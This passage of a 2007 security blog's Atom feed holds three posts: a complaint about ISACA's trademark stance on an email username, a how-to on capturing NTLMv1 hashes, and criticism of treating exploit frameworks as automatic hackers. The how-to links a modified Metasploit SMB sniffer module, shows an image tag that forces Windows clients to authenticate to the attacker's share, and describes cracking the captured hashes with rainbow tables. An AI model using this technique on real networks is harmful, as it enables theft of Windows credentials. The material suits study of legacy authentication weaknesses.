security-minded individuals he owns a domain and uses a unique username when giving out an e-mail address. Like "bugtraq@hisdomain.com" or "amazon@hisdomain.com" etc. The idea is when you receive spam for that username you can easily figure out who it was that released your e-mail address and reprimand, sue, jump up and down in a frenzy, and so on.&lt;br /&gt;&lt;br /&gt;He recently passed the CISM exam from ISACA. He hadn't heard anything from them for a while so he calls them up. The conversation goes a little like this:&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;Him:&lt;/span&gt; Hi, I haven't received anything about my CISM. You said I passed but I don't have a certificate or anything yet.&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;ISACA&lt;span style="font-weight: bold;"&gt;:&lt;/span&gt;&lt;/span&gt; That's not right, let me look up your information. What's your (blah blah blah)&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;ISACA:&lt;/span&gt; Oh. I see, you're using &lt;span style="font-style: italic;"&gt;ISACA&lt;/span&gt; in your e-mail address. That's trademarked and you can't do that.&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;Him:&lt;/span&gt; Really? That's really a strange policy. Make it &lt;hisname&gt;&lt;span style="font-style: italic;"&gt;hisname-ISACA@hisdomain.com&lt;/span&gt; then.&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;ISACA:&lt;/span&gt; I'm sorry, that's still in violation of the trademark.&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;Him:&lt;/span&gt; I don't beli... Fine, just remove the e-mail address entirely.&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;ISACA:&lt;/span&gt; But then we have no e-mail address and can't complete your certification.&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;I'm no lawyer but I believe in order to be violating a Trademark there has to be some potential or perceived confusion in the marketplace. At least that's how I read &lt;a href="http://www4.law.cornell.edu/uscode/html/uscode15/usc_sec_15_00001125----000-.html"&gt;15 U.S.C. 1125(c)&lt;/a&gt;. If my friend's intent was to market himself as ISACA@hisdomain.com as being the real ISACA then I could see there being a clear violation that should be legally challenged.&lt;br /&gt;&lt;br /&gt;There is a "Cyberprivacy" section of 1125(c) but that deals only with DOMAIN NAMES and not the username portion of an e-mail address. Also there's this little tidbit:&lt;br /&gt;&lt;span class="enumbell"&gt;&lt;/span&gt;&lt;span class="ptext-4"&gt;&lt;/span&gt;&lt;/hisname&gt;&lt;blockquote&gt;&lt;span class="enumbell"&gt;(i)&lt;/span&gt; &lt;span class="ptext-4"&gt;has a bad faith intent to profit from that mark, including a personal name which is protected as a mark under this section;&lt;/span&gt;&lt;/blockquote&gt;How can ISACA really know his intent? I don't really understand the thought process that any mention of ISACA without the ® sign means the user is an infringer. Anyone?&lt;div class="blogger-post-footer"&gt;&lt;a href="http://feeds.feedburner.com/grutztopia" title="Subscribe to my feed" rel="alternate" type="application/rss+xml"&gt;&lt;img src="http://www.feedburner.com/fb/images/pub/feed-icon32x32.png" alt="" style="border:0"/&gt;&lt;/a&gt;&lt;a href="http://feeds.feedburner.com/grutztopia" title="Subscribe to my feed" rel="alternate" type="application/rss+xml"&gt;Subscribe in a reader&lt;/a&gt;&lt;/div&gt;</content><link rel="replies" type="application/atom+xml" href="http://grutztopia.jingojango.net/feeds/6813607267428813553/comments/default" title="Post Comments" /><link rel="replies" type="text/html" href="https://www.blogger.com/comment.g?blogID=28687371&amp;postID=6813607267428813553" title="2 Comments" /><link rel="edit" type="application/atom+xml" href="http://www.blogger.com/feeds/28687371/posts/default/6813607267428813553?v=2" /><link rel="self" type="application/atom+xml" href="http://www.blogger.com/feeds/28687371/posts/default/6813607267428813553?v=2" /><link rel="alternate" type="text/html" href="http://feeds.feedburner.com/~r/grutztopia/~3/162775839/isaca-isaca-isaca.html" title="ISACA ISACA ISACA" /><author><name>Kurt Grutzmacher</name><uri>http://www.blogger.com/profile/07238514087343942495</uri><email>noreply@blogger.com</email></author><thr:total xmlns:thr="http://purl.org/syndication/thread/1.0">2</thr:total><feedburner:origLink>http://grutztopia.jingojango.net/2007/05/isaca-isaca-isaca.html</feedburner:origLink></entry><entry><id>tag:blogger.com,1999:blog-28687371.post-3629045225321511525</id><published>2007-04-24T20:56:00.000-07:00</published><updated>2007-04-24T21:48:42.774-07:00</updated><app:edited xmlns:app="http://purl.org/atom/app#">2007-04-24T21:48:42.774-07:00</app:edited><category scheme="http://www.blogger.com/atom/ns#" term="rainbow tables" /><category scheme="http://www.blogger.com/atom/ns#" term="halflmchall" /><category scheme="http://www.blogger.com/atom/ns#" term="security" /><category scheme="http://www.blogger.com/atom/ns#" term="metasploit" /><title type="text">NTLMv1, Metasploit and You</title><content type="html">In Metasploit 2.7 there existed a moduled called "smb_sniffer" that listened as a Windows SMB server, responded to negotiations with a preset challenge and forced crypto to NTLMv1. When I asked the devs about it they said it was for "future purposes."&lt;br /&gt;&lt;br /&gt;That future purpose is now documented!&lt;br /&gt;&lt;br /&gt;Step 1 - Download my slightly updated version from &lt;a href="http://grutz.jingojango.net/exploits/smb_sniffer.pm"&gt;here&lt;/a&gt; and place it in your exploits/ directory.&lt;br /&gt;&lt;br /&gt;Step 2a - Run it with root privs on a UNIX host (doesn't work on Windows, sorry).&lt;br /&gt;Step 2b - Have a Windows machine connect to your "share" - they will get an access denied but stuff like &lt;img src="http://www2.blogger.com/%5C%5Cyourip%5Cshare%5Cbad.gif" /&gt; will work.&lt;br /&gt;&lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://bp0.blogger.com/_EOfriOpdNHM/Ri7adWqXhXI/AAAAAAAAAA0/-dBtg2sRnqU/s1600-h/framework-27-smbsniffer.png"&gt;&lt;img style="margin: 0px auto 10px; display: block; text-align: center; cursor: pointer;" src="http://bp0.blogger.com/_EOfriOpdNHM/Ri7adWqXhXI/AAAAAAAAAA0/-dBtg2sRnqU/s400/framework-27-smbsniffer.png" alt="" id="BLOGGER_PHOTO_ID_5057219629417989490" border="0" /&gt;&lt;/a&gt;&lt;br /&gt;Step 3 - Send the hashes to &lt;a href="http://www.oxid.it/cain.html"&gt;Cain &amp; Abel&lt;/a&gt; for cracking or cryptanalysis! Obtain the &lt;a href="http://www.freerainbowtables.com/index-rainbowtables-tables-halflmchall.html"&gt;HALFLMCHALL&lt;/a&gt; tables from FreeRainbowCrack.Com or run a brute force, dictionary, hybrid, etc.&lt;br /&gt;&lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://bp3.blogger.com/_EOfriOpdNHM/Ri7bGGqXhYI/AAAAAAAAAA8/oks2NGrMuO4/s1600-h/cain-addlmchall.png"&gt;&lt;img style="margin: 0px auto 10px; display: block; text-align: center; cursor: pointer;" src="http://bp3.blogger.com/_EOfriOpdNHM/Ri7bGGqXhYI/AAAAAAAAAA8/oks2NGrMuO4/s400/cain-addlmchall.png" alt="" id="BLOGGER_PHOTO_ID_5057220329497658754" border="0" /&gt;&lt;/a&gt;&lt;br /&gt;Step 4 - Success!&lt;br /&gt;&lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://bp3.blogger.com/_EOfriOpdNHM/Ri7dVGqXhZI/AAAAAAAAABE/tlz_M6oJUk8/s1600-h/cain-success-lmchall.png"&gt;&lt;img style="margin: 0px auto 10px; display: block; text-align: center; cursor: pointer;" src="http://bp3.blogger.com/_EOfriOpdNHM/Ri7dVGqXhZI/AAAAAAAAABE/tlz_M6oJUk8/s400/cain-success-lmchall.png" alt="" id="BLOGGER_PHOTO_ID_5057222786218952082" border="0" /&gt;&lt;/a&gt;&lt;br /&gt;One caveat -- the half-lm challenge table only does the first 7 characters of LANMAN. You still have to brute force the last 7 and if the user's password is greater than 14 characters, you're really out of luck.&lt;br /&gt;&lt;br /&gt;Enjoy! :)&lt;div class="blogger-post-footer"&gt;&lt;a href="http://feeds.feedburner.com/grutztopia" title="Subscribe to my feed" rel="alternate" type="application/rss+xml"&gt;&lt;img src="http://www.feedburner.com/fb/images/pub/feed-icon32x32.png" alt="" style="border:0"/&gt;&lt;/a&gt;&lt;a href="http://feeds.feedburner.com/grutztopia" title="Subscribe to my feed" rel="alternate" type="application/rss+xml"&gt;Subscribe in a reader&lt;/a&gt;&lt;/div&gt;</content><link rel="replies" type="application/atom+xml" href="http://grutztopia.jingojango.net/feeds/3629045225321511525/comments/default" title="Post Comments" /><link rel="replies" type="text/html" href="https://www.blogger.com/comment.g?blogID=28687371&amp;postID=3629045225321511525" title="3 Comments" /><link rel="edit" type="application/atom+xml" href="http://www.blogger.com/feeds/28687371/posts/default/3629045225321511525?v=2" /><link rel="self" type="application/atom+xml" href="http://www.blogger.com/feeds/28687371/posts/default/3629045225321511525?v=2" /><link rel="alternate" type="text/html" href="http://feeds.feedburner.com/~r/grutztopia/~3/162775840/ntlmv1-metasploit-and-you.html" title="NTLMv1, Metasploit and You" /><author><name>Kurt Grutzmacher</name><uri>http://www.blogger.com/profile/07238514087343942495</uri><email>noreply@blogger.com</email></author><media:thumbnail xmlns:media="http://search.yahoo.com/mrss/" url="http://bp0.blogger.com/_EOfriOpdNHM/Ri7adWqXhXI/AAAAAAAAAA0/-dBtg2sRnqU/s72-c/framework-27-smbsniffer.png" height="72" width="72" /><thr:total xmlns:thr="http://purl.org/syndication/thread/1.0">3</thr:total><feedburner:origLink>http://grutztopia.jingojango.net/2007/04/ntlmv1-metasploit-and-you.html</feedburner:origLink></entry><entry><id>tag:blogger.com,1999:blog-28687371.post-2306853217148866229</id><published>2007-04-13T11:31:00.000-07:00</published><updated>2007-04-13T11:58:22.638-07:00</updated><app:edited xmlns:app="http://purl.org/atom/app#">2007-04-13T11:58:22.638-07:00</app:edited><category scheme="http://www.blogger.com/atom/ns#" term="security" /><category scheme="http://www.blogger.com/atom/ns#" term="core impact" /><category scheme="http://www.blogger.com/atom/ns#" term="canvas" /><category scheme="http://www.blogger.com/atom/ns#" term="metasploit" /><title type="text">Frameworks are not auto-hackers</title><content type="html">I was reading a review of the &lt;a href="http://www.yoggie.com/"&gt;Yoggie&lt;/a&gt; Gatekeeper Pro in this month's SC Magazine. It's a neat little device that hides your PC behind a Linux firewall-appliance when connecting to an untrusted network. The voodoo of how it shims itself into your Windows networking stack so you can connect to a wireless network and still be protected through the Yoggie aside -- one thing about the review really made my hair bristle:&lt;br /&gt;&lt;blockquote&gt;&lt;/blockquote&gt;&lt;blockquote&gt;Using our vulnerability assessment tool (NetClarity) and our penetration tool (Core Impact) we were unable to compromisethe Gatekeeper or the computer behind it.&lt;br /&gt;                                - SC Magazine, April 2007, Pg 63&lt;br /&gt;&lt;/blockquote&gt; Well duh.&lt;br /&gt;&lt;br /&gt;Both the tools listed are only as strong as their signatures, exploits and platform shellcode. That statement is like running Core Impact against a copy of OpenVMS and saying &lt;span style="font-style: italic;"&gt;&lt;span style="font-weight: bold;"&gt;IMPENETRABLE!&lt;/span&gt;&lt;/span&gt;  when you're done. Technically it's valid but it's no measure of strength.&lt;br /&gt;&lt;br /&gt;Maybe these statements are made because of a contractual obligation. "Say our product name five times and we'll give you free copies" sort of thing. Unfortunately there will be InfoSec managers and the like who will listen and wonder if maybe they should use these tools in lieu of hiring security professionals who actually know something.&lt;br /&gt;&lt;br /&gt;Maybe I'm just being too overly critical and hypersensitive about this. I don't think I am as I've looked at a number of Web Application Security tools on the market and none of them have been able to find the more serious vulnerabilities vs. a team of two or three highly skilled testers have. We still need good QA but attack Frameworks like CORE Impact, Canvas and Metasploit aren't automated tools. Don't treat them as such.&lt;br /&gt;&lt;span style="font-style: italic;"&gt;&lt;span style="font-weight: bold;"&gt;&lt;span style="font-weight: bold;"&gt;&lt;span style="font-style: italic;"&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;div class="blogger-post-footer"&gt;&lt;a href="http://feeds.feedburner.com/grutztopia" title="Subscribe to my feed" rel="alternate" type="application/rss+xml"&gt;&lt;img src="http://www.feedburner.com/fb/images/pub/feed-icon32x32.png" alt="" style="border:0"/&gt;&lt;/a&gt;&lt;a href="http://feeds.feedburner.com/grutztopia" title="Subscribe to my feed" rel="alternate" type="application/rss+xml"&gt;Subscribe in a reader&lt;/a&gt;&lt;/div&gt;</content><link rel="replies" type="application/atom+xml" href="http://grutztopia.jingojango.net/feeds/2306853217148866229/comments/default" title="Post Comments" /><link rel="replies" type="text/html" href="https://www.blogger.com/comment.g?blogID=28687371&amp;postID=2306853217148866229" title="0 Comments" /><link rel="edit" type="application/atom+xml" href="http://www.blogger.com/feeds/28687371/posts/default/2306853217148866229?v=2" /><link rel="self" type="application/atom+xml" href="http://www.blogger.com/feeds/28687371/posts/default/2306853217148866229?v=2" /><link rel="alternate" type="text/html" href="http://feeds.feedburner.com/~r/grutztopia/~3/162775841/frameworks-are-not-auto-hackers.html" title="Frameworks are not auto-hackers" /><author><name>Kurt Grutzmacher</name><uri>http://www.blogger.com/profile/07238514087343942495</uri><email>noreply@blogger.com</email></author><thr:total xmlns:thr="http://purl.org/syndication/thread/1.0">0</thr:total><feedburner:origLink>http://grutztopia.jingojango.net/2007/04/frameworks-are-not-auto-hackers.html</feedburner:origLink></entry></feed>
